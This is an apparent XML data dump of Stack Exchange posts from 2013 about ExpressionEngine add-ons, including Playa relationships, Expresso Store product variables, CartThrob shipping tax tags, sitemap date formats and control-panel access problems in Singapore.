  <row Id="9120" PostTypeId="1" CreationDate="2013-04-08T18:41:02.997" Score="2" ViewCount="92" Body="&lt;p&gt;I have a matrix field that has a single-select Playa field in one of its two columns. (The other column is just text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one particular situation, the value of the Playa field was changed, but the old relationship still remained in the exp_playa_relationships table along with the new one. Because of this, the exp:playa:parents tag returned both the old and the new associated entry. Note that this change was made simply by selecting a new value in the Playa dropdown and saving; &lt;strong&gt;not&lt;/strong&gt; removing the row, saving, creating a new row with the new relationship and saving again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my EE setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;Playa 4.3.3&lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;Better Workflow 1.5.1&lt;/li&gt;&#xA;&lt;li&gt;PHP 5.3.10&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I understand from &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/playa_relationship_from_matrix_column_persisting_after_row_where_relations_was_created_is_removed&quot; rel=&quot;nofollow&quot;&gt;this support post&lt;/a&gt; that something similar has been an issue in the past, but it should be fixed in the version that I have. At the moment, my only suspicion is that since I have Better Workflow installed, this could be messing with the functionality somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or experiences with this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2013-10-26T03:03:51.123" Title="Persisting Playa relationship in Matrix row" Tags="|matrix|playa|better-workflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9121" PostTypeId="1" CreationDate="2013-04-08T19:28:58.740" Score="1" ViewCount="205" Body="&lt;p&gt;I am using espresso-store 1.6.2, and working with the product modifiers. I've managed to get the dynamic product variable working for my price &amp;amp; sku in the main area (code below).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;price_box&quot;&amp;gt;&#xA;&#xA;      &amp;lt;h3&amp;gt;&amp;lt;span class=&quot;store_product_price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;ft&quot;&amp;gt;{per_unit}&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;      &amp;lt;h4 style=&quot;text-decoration:none; font-size:13px;&quot;&amp;gt;Sku: #&amp;lt;strong class=&quot;store_product_sku&quot;&amp;gt;{sku}&amp;lt;/strong&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;&#xA;                     {modifiers}&#xA;    &amp;lt;hr&amp;gt;&#xA;                         &amp;lt;label&amp;gt;Options: {modifier_name}&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;                            {if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;                            &amp;lt;form class=&quot;store_product_form&quot;&amp;gt;&#xA;                            &amp;lt;select name=&quot;{modifier_input_name}&quot; class=&quot;select&quot; style=&quot;width:100%;&quot;&amp;gt;&#xA;                              {modifier_options}&#xA;                                &amp;lt;option value=&quot;{option_id}&quot;&amp;gt;&#xA;                                  {option_name}&#xA;                                  {if price_mod_val} {price_mod} {/if}&#xA;                                &amp;lt;/option&amp;gt;&#xA;                              {/modifier_options}&#xA;                            &amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;                          {if:else}&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;{modifier_input_name}&quot; /&amp;gt;&#xA;                          {/if}&#xA;                          &amp;lt;/form&amp;gt;&#xA;&#xA;&#xA;                    {/modifiers}&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try to use the &lt;code&gt;&amp;lt;span class=&quot;store_product_price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&lt;/code&gt; anywhere else on my site it doesn't work, I can use it multiple time but only within the &quot;price_box&quot; div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess i'm just wondering if you can only use the Dynamic Product Variables css classes only once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-11-01T11:01:51.820" Title="Multiple Dynamic Product Variables not working?" Tags="|expresso-store|dynamic|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9122" PostTypeId="1" CreationDate="2013-04-08T21:26:34.797" Score="1" ViewCount="30" Body="&lt;p&gt;This is in response to the thread posted here: &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/matrix_in_ie9_hides_row_options&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/matrix_in_ie9_hides_row_options&lt;/a&gt; which is no longer active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix 2.5.3 and Internet Explorer 9, the numbered tab on the left should give row options and the ability to reorder by dragging a dropping. In Firefox it works fine, however in IE9 no indicator shows there are row options and dragging to reorder doesn't work. Has there been any progress of resolving the issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;-Steve&lt;/p&gt;&#xA;" OwnerUserId="1303" LastActivityDate="2013-05-09T06:17:03.740" Title="Matrix hides row options in IE9" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9123" PostTypeId="1" AcceptedAnswerId="9138" CreationDate="2013-04-08T23:23:44.020" Score="1" ViewCount="98" Body="&lt;p&gt;I can't seem to find any mention of one in the documentation - is there a CartThrob variable for the tax calculated against the shipping charge (when you have shipping set as taxable)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to find one that is the shipping rate plus the added tax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_subtotal_plus_tax}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have not been able to find one for the tax amount separately.  Anyone know if it exists? And if so, what it is?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-09T14:26:14.867" Title="Is there a CartThrob variable for shipping_tax?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9124" PostTypeId="2" ParentId="8962" CreationDate="2013-04-09T00:54:40.663" Score="1" Body="&lt;p&gt;This was solved by enabling the Wygwam fieldtype under Add-Ons-&gt;Fieldtypes.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-04-09T00:54:40.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9125" PostTypeId="1" AcceptedAnswerId="9137" CreationDate="2013-04-09T01:03:10.553" Score="0" ViewCount="333" Body="&lt;p&gt;This one's a little hairy. I have 3 channels: Products, Where to Buy Product and Retailers. We're displaying a Where to Buy dialog on the Products page. So I have 6 relationships on the Where to Buy Product channel: one to the Products channel, and 5 to the Retailers channel. (Yes, I have retailer_1, retailer_2, and so on.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Retailers channel is just an image for the retailer's logo. The Where to Buy Product channel is the product reference, and 5 sets of retailer references, and associated links to the retailer's website for that product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I put together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot;}&#xA;&#xA;{reverse_related_entries channel=&quot;where_to_buy_product&quot;}&#xA;    {retailer_1}&amp;lt;br&amp;gt;&#xA;    {link_1}&amp;lt;br&amp;gt;&#xA;    {related_entries id=&quot;retailer_1&quot;}&#xA;    &amp;lt;img src=&quot;{retailer_logo:logo}&quot; &amp;gt;&amp;lt;br&amp;gt;&#xA;    {/related_entries}&#xA;&#xA;    {retailer_2}&amp;lt;br&amp;gt;&#xA;    {link_2}&amp;lt;br&amp;gt;&#xA;    {related_entries id=&quot;retailer_2&quot;}&#xA;    &amp;lt;img src=&quot;{retailer_logo:logo}&quot; &amp;gt;&amp;lt;br&amp;gt;&#xA;    {/related_entries}&#xA;{/reverse_related_entries}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I got to the first level, where I can display the link to the retailer's website; but the second level, reaching to the Retailers channel, doesn't seem to work. I'm getting a funky code in curly braces that changes on each request. ({REL[79][retailer_1]AT42ME0eREL} ) I even tried switching to reverse_related_entries, even though that doesn't make sense to me, and apparently, it doesn't make much sense to EE either. (It dumped the {reverse_related_entries} tags.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me make this work? I hope I have the concepts down right. Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-04-09T01:11:48.057" LastActivityDate="2013-04-09T12:01:28.337" Title="Multiple Relationships" Tags="|relationships|" AnswerCount="2" CommentCount="3" ClosedDate="2013-04-09T13:36:37.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="9126" PostTypeId="1" CreationDate="2013-04-09T02:19:13.803" Score="2" ViewCount="161" Body="&lt;p&gt;I'm working with an ecommerce site powered via the Expresso Store module, and I'm using the Freemember plugin to handle store user accounts and to save billing information for use in the checkout pages. Everything seems to be working great, only when a user logs out and logs back in the cart is cleared every time. However, if you're signed out, add a product to the cart, then sign in, the product remains in the cart. Do I need to pass anything special into the &lt;code&gt;{exp:store:cart}&lt;/code&gt; loop? Can someone give me a nudge in the right direction? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.3 / Store v1.6.3 / Freemember v2.2.1&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="28" LastEditDate="2013-04-10T12:24:19.157" LastActivityDate="2013-05-11T04:21:53.817" Title="Expresso Store: Using with Freemember to Save a user's shopping cart" Tags="|expresso-store|freemember|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9127" PostTypeId="1" CreationDate="2013-04-09T02:44:24.260" Score="2" ViewCount="998" Body="&lt;p&gt;This is my issue: &lt;a href=&quot;http://ellislab.com/forums/viewthread/205006/P18&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/205006/P18&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;users in singapore are having an issue when posting content in various&#xA;  and random channels and other places in the control panel.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This goes for updating a post and publishing a new one. What happens&#xA;  is the user can navigate to the publish/edit screen fine, and change&#xA;  content, but when they click on submit, it boots them back to the CP&#xA;  home screen, and the form does not save the data to the channel.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No one else is having this problem around the world.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I suspect this is related to the IP address in the session so I did a&#xA;  code search for IP checking on form submits and couldnt find anything,&#xA;  but I may not have looked correctly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is my current security settings (not ideal but made some improvement to logins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://d.pr/i/b8Iz&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/b8Iz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="150" LastEditDate="2013-04-16T03:06:46.250" LastActivityDate="2013-04-16T03:16:15.130" Title="Clients in singapore on Singtel cannot login and sometimes cannot access site" Tags="|control-panel|sessions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9128" PostTypeId="2" ParentId="9109" CreationDate="2013-04-09T03:19:05.307" Score="0" Body="&lt;p&gt;I've used the following format in Google sitemaps without any issues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gmt_edit_date format='{DATE_W3C}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="567" LastActivityDate="2013-04-09T03:19:05.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9129" PostTypeId="2" ParentId="9109" CreationDate="2013-04-09T03:35:13.117" Score="1" Body="&lt;p&gt;{edit_date format=&quot;{DATE_W3C}&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1305" LastActivityDate="2013-04-09T03:35:13.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9130" PostTypeId="2" ParentId="9122" CreationDate="2013-04-09T05:39:12.733" Score="1" Body="&lt;p&gt;sorry to say that no, not currently. I added this to the to-do list of our next version of Matrix, but I can't make any promises about when will that see the light of the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you shoot an email to support@pixelandtonic.com referencing this question? I'll check it out in the evening when I get access to a Windows machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-04-09T05:39:12.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9131" PostTypeId="2" ParentId="9127" CreationDate="2013-04-09T06:42:58.820" Score="8" Body="&lt;p&gt;This probably isn't the answer your looking for, but your mention of Singapore and then reading the conversation thread at Ellis Lab, my first thought was you're hitting some internet restriction, either by the ISP, but more likely by the country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Singapore the government via the &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_censorship_in_Singapore&quot;&gt;Media Development Authority (MDA)&lt;/a&gt;&lt;/strong&gt; bans, blocks, and otherwise monitors access to any website. It's possibly random, in that one ExpressionEngine site got banned for objectionable content— anything from humor to art to politics to religion or sexuality, and they created a profile ban that hits almost &lt;strong&gt;all&lt;/strong&gt; ExpressionEngine sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you guys have gone through a number of test with your clients, but I recommend one more: &lt;strong&gt;test with a VPN in place&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We deal with a client that travels back and forth to China and we've set them up with &lt;strong&gt;&lt;a href=&quot;https://pandapow.co&quot;&gt;PandaPow&lt;/a&gt;&lt;/strong&gt;. This has worked well, so far. Now, I can't say if PandaPow will work well for Singapore, but they do work hard to keep there servers off of various banned list, so they may. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also look at this article called: &lt;strong&gt;&lt;a href=&quot;http://www.start-vpn.com/blog/2012/02/14/best-vpn-for-singapore-bypass-2012-internet-censorship-in-singapore-with-a-vpn-631243/&quot;&gt;Best VPN for Singapore&lt;/a&gt;&lt;/strong&gt; at Start VPN. We've never tried any of the VPNs listed in the article, but the focus is directly on avoiding Singapore restrictions (which can be hard, since they don't publish them and frequently deny that they are in place).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a simple test. With PandaPow you can have one of your client's download the software, pay for a single month's membership, install the software, test to see if VPN is working, then test logging in to the Control Panel. They can try using a US or Europe based IP server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this works, then you know it's the ban that's effecting access and can decide to proceed from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try other options as well, if you don't want to test the VPN immediately. I'd look at:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Change Control Panel Access&lt;/strong&gt; from &lt;code&gt;system folder&lt;/code&gt; to renamed &lt;code&gt;admin.php&lt;/code&gt; file. The idea here is that if the MDA is blocking they maybe blocking one access protocol, but not another.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Check Blacklist&lt;/strong&gt; make sure there aren't in bans on Singapore IP addresses or generic domains, like Singtel servers. Make sure you check &lt;code&gt;.htaccess&lt;/code&gt; as well. It sounds crazy, but we once discovered a ban that blocked most of Russia (which we were fine with, except for 2 addresses, that we needed to have access).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Signup for a Content Delivery Network (CDN)&lt;/strong&gt;. This one is probably the least likely to work. Not because it couldn't work in theory, services like &lt;strong&gt;&lt;a href=&quot;https://www.cloudflare.com&quot;&gt;CloudFlare&lt;/a&gt;&lt;/strong&gt; have CDN servers around the world, including Singapore. There DNS management may bypass Singapore government filters. But the reason why it's less likely to work, is ExpressionEngine's control panel javascripts don't work well under CloudFlare's speed enhancers (RocketScript), so generally a CloudFlare set-up excludes the Control Panel from CloudFlare protection and speed services. But just the overall DNS switch may work, so it can be tried.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think the VPN is probably the top method, but I'd look at changing from &lt;code&gt;system folder&lt;/code&gt; access to renamed &lt;code&gt;admin.php&lt;/code&gt; access to the control panel as well, if you haven't yet.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-09T06:42:58.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9132" PostTypeId="2" ParentId="9125" CreationDate="2013-04-09T09:51:12.087" Score="1" Body="&lt;p&gt;Try the Tied Entries plugin - it allows you to reach data that's more than one relationship away: &lt;a href=&quot;http://engaging.net/products/tied-entries&quot; rel=&quot;nofollow&quot;&gt;http://engaging.net/products/tied-entries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-09T09:51:12.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9133" PostTypeId="2" ParentId="7142" CreationDate="2013-04-09T09:58:03.033" Score="0" Body="&lt;p&gt;I created this screencast a while ago &lt;a href=&quot;https://vimeo.com/26023392&quot; rel=&quot;nofollow&quot;&gt;https://vimeo.com/26023392&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-04-09T09:58:03.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9134" PostTypeId="2" ParentId="8958" CreationDate="2013-04-09T10:44:32.003" Score="0" Body="&lt;p&gt;This problem turned out to be due to a database corruption that occurred during one of the software upgrades, most likely the Store upgrade. Since I corrected that, all is well again.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-04-09T10:44:32.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9135" PostTypeId="1" CreationDate="2013-04-09T11:24:20.880" Score="1" ViewCount="124" Body="&lt;p&gt;If the server is set up PCIDSS Compliant and I want to store the card details to be processed using a conventional cart facility, is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need to be able to take direct debit info, can this also be done in some way, or in conjunction with another plugin like freeform etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Guy&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2013-04-10T07:20:47.930" Title="Is there a way of capturing card payments to be able to process them manually afterwards?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9136" PostTypeId="2" ParentId="9135" CreationDate="2013-04-09T11:53:44.073" Score="1" Body="&lt;p&gt;I'd highly recommend &lt;em&gt;against&lt;/em&gt; storing any card details. It can only go to cause problems. PCI DSS compliance is not just about the server security but even physical security. The premises will need to be highly secure and adhere to compliance levels as well as external locations for backups etc. Everything would need to be encrypted in storage and in transit and then even if you do meet those levels there is always a chance of having something stolen and then you'd be in a LOT of trouble so your insurance would go through the roof too. It really isn't worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a service such as &lt;a href=&quot;https://spreedly.com/&quot; rel=&quot;nofollow&quot;&gt;Spreedly Core&lt;/a&gt; then they provide a &lt;em&gt;Vault&lt;/em&gt; which allows you to retain credit card details for re-use next time via a secure token based system. This puts the responsibility firmly on their shoulders then and is a much better way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Spreedly Core you can then also allow the user to choose their gateway so you can setup a gateway for accepting credit cards and also one for accepting direct debit payments and allow the user to choose or to specify yourself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you wanted to setup a credit card gateway and then a direct debit gateway individually then that's possible in Store too. &lt;a href=&quot;https://gocardless.com/&quot; rel=&quot;nofollow&quot;&gt;GoCardless&lt;/a&gt; is a good direct debit gateway if you're UK based and I'd recommend &lt;a href=&quot;http://www.dwolla.com/&quot; rel=&quot;nofollow&quot;&gt;Dwolla&lt;/a&gt; if you're US based. The GoCardless gateway is already provided as part of store so you can use that out of the box.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T11:53:44.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9137" PostTypeId="2" ParentId="9125" CreationDate="2013-04-09T12:01:28.337" Score="1" Body="&lt;p&gt;Whenever I need to deal with complex relationships in EE I always turn to &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;. That should provide you with a nice way to make the associations and also to return the relationships from simple tags in the templates. It's a commercial addon but if complex relationships between your channel data are core to your site then it's worth the investment in time it will save you.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T12:01:28.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9138" PostTypeId="2" ParentId="9123" CreationDate="2013-04-09T12:08:30.360" Score="3" Body="&lt;p&gt;You might be able to try a &lt;code&gt;{exp:cartthrob:cart_items_info}&lt;/code&gt; tag pair which loops through all the items in your cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have &lt;code&gt;{cart_shipping}&lt;/code&gt; and &lt;code&gt;{cart_shipping:plus_tax}&lt;/code&gt; tags available.&lt;br&gt;&#xA;So, you could work it out yourself using the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/arithmetic/index.html&quot; rel=&quot;nofollow&quot;&gt;Arithmetic&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:arithmetic operator=&quot;-&quot; num1=&quot;{cart_shipping:plus_tax} num2=&quot;{cart_shipping}&quot;}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put it all together: (Limit by 1 so it only outputs once)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info limit=&quot;1&quot;}&#xA;  Shipping: {cart_shipping}&amp;lt;br /&amp;gt;&#xA;  Shipping Tax: {exp:cartthrob:arithmetic operator=&quot;-&quot; num1=&quot;{cart_shipping:plus_tax} num2=&quot;{cart_shipping}&quot;}&amp;lt;br /&amp;gt;&#xA;  Shipping Total: {cart_shipping:plus_tax}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-04-09T14:26:14.867" LastActivityDate="2013-04-09T14:26:14.867" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9139" PostTypeId="2" ParentId="9109" CreationDate="2013-04-09T12:27:44.737" Score="0" Body="&lt;p&gt;You've just got a couple of superfluous semi-colons in around the T. Change:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{gmt_edit_date format=&amp;quot;%Y-%m-%d;T;%H:%i:%s%Q&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{gmt_edit_date format=&amp;quot;%Y-%m-%dT%H:%i:%s%Q&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Google should accept that but you'll need to give it time to re-spider your pages again. Give it 24-48 hours and you should see things resolved back in Webmaster tools.&lt;/p&gt;&#xA;&lt;p&gt;To provide a longer explanation for anyone who's interested; Google expects the date to be in a W3C valid date/time format. Both of these are acceptable:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;2005-02-21&lt;/p&gt;&#xA;&lt;p&gt;2005-02-21T18:00:15+00:00&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But if you specify the time then you must also specify the timezone. In this case you're doing so with GMT so that's fine.&lt;/p&gt;&#xA;&lt;p&gt;As mentioned, you can also use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{gmt_edit_date format='{DATE_W3C}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which is actually just a shortcut for the corrected code provided above. It will output the exact same thing.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-09T12:27:44.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9140" PostTypeId="1" AcceptedAnswerId="9143" CreationDate="2013-04-09T12:44:48.083" Score="1" ViewCount="76" Body="&lt;p&gt;We're having to use structure to do what would normally be pretty straight forward, now need to know if this scenario is even possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Main URL Structure:&#xA;discipline01 URL://discipline01&#xA;  --Child01  URL://discipline01/Child01&#xA;  --Child02  URL://discipline01/Child02&#xA;discipline02&#xA;  --Child03&#xA;discipline03&#xA;  --Child04&#xA;&#xA;&quot;discipline0X&quot; are all top level &quot;pages&quot;, &quot;Child0X&quot; are sub &quot;pages&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I initially set this up as Pages with child pages (as per above) and it worked. Now word is we need to keep these &quot;Child&quot; items but have them exist in multiple &quot;top level pages&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;discipline01 URL://discipline01&#xA;  --Child01  URL://discipline01/Child01&#xA;  --Child02  URL://discipline01/Child02&#xA;  --Child03  URL://discipline01/Child03&#xA;discipline02&#xA;  --Child01  URL://discipline02/Child01&#xA;  --Child03  URL://discipline02/Child03&#xA;… etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No amount of faffing around yields the results I seek. The top level &quot;pages&quot; form the basis for the main navigation (just to compound things). Can't create template.groups as top level items may change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories are the pseudo logical solution but Structure with Categories seems umm, inadequate ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ideally, Structure should manage all this content.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Listings&quot; are great except they only apply to one item.&#xA;&quot;Assets&quot; - dont fit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm about to punch something, please, any inisghts welcome!&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-04-09T13:16:12.677" LastActivityDate="2013-05-09T14:17:07.487" Title="Bend Structure to meet goals" Tags="|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9141" PostTypeId="2" ParentId="9118" CreationDate="2013-04-09T12:56:27.877" Score="2" Body="&lt;p&gt;That doesn't sound like a problem. ExpressionEngine provides 3 protocols; PHP Mail, Sendmail, and SMTP. It's always better to use SMTP where possible and even better if you're outsourcing it to an email gateway like SendGrid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing to be cautious of is the batch size of large distributions. In the CP go to Admin &gt; Email Configuration and set '&lt;em&gt;Batch mode&lt;/em&gt;' to '&lt;em&gt;yes&lt;/em&gt;'. Then in the field underneath set a value for how many to send out in one batch. It's recommended to start off with something small like 300 or so and see how that goes first. If that goes OK with no errors or timeouts then you can experiment gradually increasing the batch size. SendGrid will be able to provide you with some other useful stats to do with the send success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The batch mode is there to guard against timeouts and the batches are sent in quick succession so it should still be processed fairly quickly. Other than that it shouldn't have any problems with your scenario. :)&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T12:56:27.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9142" PostTypeId="1" AcceptedAnswerId="9144" CreationDate="2013-04-09T13:07:11.907" Score="3" ViewCount="223" Body="&lt;p&gt;I'm having no trouble displaying a 404 page when using &lt;code&gt;{redirect=&quot;404&quot;}&lt;/code&gt;, but is there any way to &lt;em&gt;actually&lt;/em&gt; redirect to my 404 page? ie. changing the url to /404 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;Ryan's blog post&lt;/a&gt;, but he uses PHP to do it. Should I just write a simple plugin to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;I've created a plugin for this behavior.&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/jazonv/fourofour&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jazonv/fourofour&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-04-09T14:17:45.433" LastActivityDate="2013-04-09T14:17:45.433" Title="Performing an actual redirect to 404 page" Tags="|redirects|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
